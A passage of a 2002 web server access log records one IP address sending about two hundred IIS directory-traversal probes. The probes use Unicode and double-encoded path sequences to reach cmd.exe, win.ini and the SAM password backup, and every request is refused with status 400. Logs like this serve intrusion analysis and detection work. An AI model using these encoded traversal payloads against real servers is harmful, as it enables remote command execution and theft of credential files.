/PBServer/check.bat/..%%35%63../..%%35%63winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:07 +0300] "HEAD /_mem_bin/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:08 +0300] "HEAD /_mem_bin/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:08 +0300] "HEAD /_mem_bin/..%u0025%u005c../..%u0025%u005c../..%u0025%u005c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:09 +0300] "HEAD /_mem_bin/..%u00255c../..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:10 +0300] "HEAD /_mem_bin/..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:10 +0300] "HEAD /_mem_bin/..%u002f../..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:10 +0300] "HEAD /_mem_bin/..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:10 +0300] "HEAD /_mem_bin/..%u005c../..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:10 +0300] "HEAD /_mem_bin/..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:10 +0300] "HEAD /_mem_bin/check.bat/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:10 +0300] "HEAD /_mem_bin/check.bat/..%u00255c../..%u00255cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:10 +0300] "HEAD /_mem_bin/check.bat/..%u002f../..%u002fwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:10 +0300] "HEAD /_mem_bin/check.bat/..%u005c../..%u005cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:10 +0300] "HEAD /_vti_bin/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:10 +0300] "HEAD /_vti_bin/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:10 +0300] "HEAD /_vti_bin/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:10 +0300] "HEAD /_vti_bin/..%u0025%u005c../..%u0025%u005c../..%u0025%u005c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:10 +0300] "HEAD /_vti_bin/..%u0025%u005c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:10 +0300] "HEAD /_vti_bin/..%u00255c../..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:10 +0300] "HEAD /_vti_bin/..%u002f../..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:11 +0300] "HEAD /_vti_bin/..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:11 +0300] "HEAD /_vti_bin/..%u002f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:11 +0300] "HEAD /_vti_bin/..%u005c../..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:11 +0300] "HEAD /_vti_bin/..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:11 +0300] "HEAD /_vti_bin/..%u005c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:12 +0300] "HEAD /_vti_bin/check.bat/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:12 +0300] "HEAD /_vti_bin/check.bat/..%u00255c../..%u00255cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:12 +0300] "HEAD /_vti_bin/check.bat/..%u002f../..%u002fwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:12 +0300] "HEAD /_vti_bin/check.bat/..%u005c../..%u005cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:12 +0300] "HEAD /_vti_cnf/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:13 +0300] "HEAD /_vti_cnf/..%u00255c../..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:13 +0300] "HEAD /_vti_cnf/..%u002f../..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:13 +0300] "HEAD /_vti_cnf/..%u005c../..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:13 +0300] "HEAD /_vti_cnf/check.bat/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:14 +0300] "HEAD /_vti_cnf/check.bat/..%u00255c../..%u00255cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:14 +0300] "HEAD /_vti_bin/..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:14 +0300] "HEAD /_vti_cnf/check.bat/..%u002f../..%u002fwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:15 +0300] "HEAD /_vti_cnf/check.bat/..%u005c../..%u005cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:15 +0300] "HEAD /a.asp/.%u002e/.%u002e/.%u002e/.%u002e/winnt/win.ini HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:15 +0300] "HEAD /a.asp/.%u002e/.%u002e/.%u002e/..\winnt\repair\sam._ HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:16 +0300] "HEAD /a.asp/..%u00255c../..%u00255c../winnt/win.ini HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:16 +0300] "HEAD /a.asp/..%u00255c../..%u00255c..\winnt\repair\sam._ HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:16 +0300] "HEAD /a.asp/..%u002f../..%u002f../winnt/win.ini HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:17 +0300] "HEAD /a.asp/..%u002f../..%u002f..\winnt\repair\sam._ HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:17 +0300] "HEAD /a.asp/..%u005c../..%u005c../winnt/win.ini HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:17 +0300] "HEAD /a.asp/..%u005c../..%u005c..\winnt\repair\sam._ HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:17 +0300] "HEAD /adsamples/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:17 +0300] "HEAD /adsamples/..%u00255c../..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:17 +0300] "HEAD /adsamples/..%u002f../..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:18 +0300] "HEAD /adsamples/..%u005c../..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:18 +0300] "HEAD /adsamples/check.bat/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:18 +0300] "HEAD /adsamples/check.bat/..%u00255c../..%u00255cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:18 +0300] "HEAD /adsamples/check.bat/..%u002f../..%u002fwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:18 +0300] "HEAD /adsamples/check.bat/..%u005c../..%u005cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:18 +0300] "HEAD /bin/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:18 +0300] "HEAD /bin/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:18 +0300] "HEAD /bin/..%u00255c../..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:18 +0300] "HEAD /bin/..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:19 +0300] "HEAD /bin/..%u002f../..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:19 +0300] "HEAD /bin/..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:19 +0300] "HEAD /bin/..%u005c../..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:19 +0300] "HEAD /bin/..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:20 +0300] "HEAD /bin/check.bat/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:20 +0300] "HEAD /bin/check.bat/..%u00255c../..%u00255cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:20 +0300] "HEAD /bin/check.bat/..%u002f../..%u002fwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:20 +0300] "HEAD /bin/check.bat/..%u005c../..%u005cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:20 +0300] "HEAD /bin/scripts/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:20 +0300] "HEAD /bin/scripts/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:20 +0300] "HEAD /bin/scripts/..%u0025%u005c../..%u0025%u005c../..%u0025%u005c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:20 +0300] "HEAD /bin/scripts/..%u0025%u005c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:21 +0300] "HEAD /bin/scripts/..%u002f../..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:21 +0300] "HEAD /bin/scripts/..%u002f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:21 +0300] "HEAD /bin/scripts/..%u005c../..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:21 +0300] "HEAD /bin/scripts/..%u005c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:22 +0300] "HEAD /cgi/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:22 +0300] "HEAD /cgi/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:22 +0300] "HEAD /cgi/..%u00255c../..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:22 +0300] "HEAD /cgi/..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:22 +0300] "HEAD /cgi/..%u002f../..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:23 +0300] "HEAD /cgi/..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:23 +0300] "HEAD /cgi/..%u005c../..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:23 +0300] "HEAD /cgi/..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:24 +0300] "HEAD /cgi/check.bat/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:24 +0300] "HEAD /cgi/check.bat/..%u00255c../..%u00255cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:24 +0300] "HEAD /cgi/check.bat/..%u002f../..%u002fwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:24 +0300] "HEAD /cgi/check.bat/..%u005c../..%u005cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:25 +0300] "HEAD /cgi-bin/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:25 +0300] "HEAD /cgi-bin/..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:25 +0300] "HEAD /cgi-bin/..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:25 +0300] "HEAD /cgi-bin/..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:25 +0300] "HEAD /cgi-bin/check.bat/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:25 +0300] "HEAD /cgi-bin/check.bat/..%u00255c../..%u00255cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:25 +0300] "HEAD /cgi-bin/check.bat/..%u002f../..%u002fwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:25 +0300] "HEAD /cgi-bin/check.bat/..%u005c../..%u005cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:26 +0300] "HEAD /exchange/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:26 +0300] "HEAD /exchange/..%u00255c../..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:26 +0300] "HEAD /exchange/..%u002f../..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:26 +0300] "HEAD /exchange/..%u005c../..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:27 +0300] "HEAD /exchange/check.bat/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:27 +0300] "HEAD /exchange/check.bat/..%u00255c../..%u00255cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:27 +0300] "HEAD /exchange/check.bat/..%u002f../..%u002fwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:27 +0300] "HEAD /exchange/check.bat/..%u005c../..%u005cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:27 +0300] "HEAD /msadc/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:27 +0300] "HEAD /msadc/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:27 +0300] "HEAD /MSADC/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:27 +0300] "HEAD /msadc/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:28 +0300] "HEAD /msadc/..%u0025%u005c../..%u0025%u005c../..%u0025%u005c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:28 +0300] "HEAD /msadc/..%u0025%u005c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:28 +0300] "HEAD /msadc/..%u00255c../..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:28 +0300] "HEAD /msadc/..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:28 +0300] "HEAD /MSADC/..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:29 +0300] "HEAD /msadc/..%u002f../..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:29 +0300] "HEAD /MSADC/..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:29 +0300] "HEAD /msadc/..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:29 +0300] "HEAD /msadc/..%u002f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:29 +0300] "HEAD /msadc/..%u005c../..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:29 +0300] "HEAD /msadc/..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:30 +0300] "HEAD /MSADC/..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:30 +0300] "HEAD /msadc/check.bat/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:30 +0300] "HEAD /msadc/check.bat/..%u00255c../..%u00255cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:31 +0300] "HEAD /msadc/check.bat/..%u002f../..%u002fwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:31 +0300] "HEAD /msadc/check.bat/..%u005c../..%u005cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:31 +0300] "HEAD /PBServer/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:31 +0300] "HEAD /PBServer/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:32 +0300] "HEAD /PBServer/..%u00255c../..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:32 +0300] "HEAD /PBServer/..%u00255c../..%u00255cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:33 +0300] "HEAD /PBServer/..%u002f../..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:33 +0300] "HEAD /msadc/..%u005c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:33 +0300] "HEAD /PBServer/..%u002f../..%u002fwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:33 +0300] "HEAD /PBServer/..%u005c../..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:33 +0300] "HEAD /PBServer/..%u005c../..%u005cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:34 +0300] "HEAD /PBServer/check.bat/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:34 +0300] "HEAD /PBServer/check.bat/..%u00255c../..%u00255cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:34 +0300] "HEAD /PBServer/check.bat/..%u002f../..%u002fwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:34 +0300] "HEAD /PBServer/check.bat/..%u005c../..%u005cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:35 +0300] "HEAD /Rpc/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:35 +0300] "HEAD /Rpc/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:35 +0300] "HEAD /Rpc/..%u00255c../..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:35 +0300] "HEAD /Rpc/..%u00255c../..%u00255cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:35 +0300] "HEAD /Rpc/..%u002f../..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:35 +0300] "HEAD /Rpc/..%u002f../..%u002fwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:36 +0300] "HEAD /Rpc/..%u005c../..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:36 +0300] "HEAD /Rpc/..%u005c../..%u005cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:36 +0300] "HEAD /Rpc/check.bat/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:37 +0300] "HEAD /Rpc/check.bat/..%u00255c../..%u00255cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:37 +0300] "HEAD /Rpc/check.bat/..%u002f../..%u002fwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:37 +0300] "HEAD /Rpc/check.bat/..%u005c../..%u005cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:37 +0300] "HEAD /samples/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:37 +0300] "HEAD /samples/..%u00255c../..%u00255c../..%u00255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:37 +0300] "HEAD /samples/..%u002f../..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:37 +0300] "HEAD /samples/..%u005c../..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:37 +0300] "HEAD /samples/check.bat/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:37 +0300] "HEAD /samples/check.bat/..%u00255c../..%u00255cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:38 +0300] "HEAD /samples/check.bat/..%u002f../..%u002fwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:38 +0300] "HEAD /samples/check.bat/..%u005c../..%u005cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:38 +0300] "HEAD /script/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:38 +0300] "HEAD /script/..%u0025%u005c../..%u0025%u005c../..%u0025%u005c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:38 +0300] "HEAD /script/..%u002f../..%u002f../..%u002f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:38 +0300] "HEAD /script/..%u005c../..%u005c../..%u005c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:38 +0300] "HEAD /scripts/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:11:38 +0300] "HEAD /scripts/.%u002e/.%u002e/.%u002e/.%u002e/.%u002e/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - 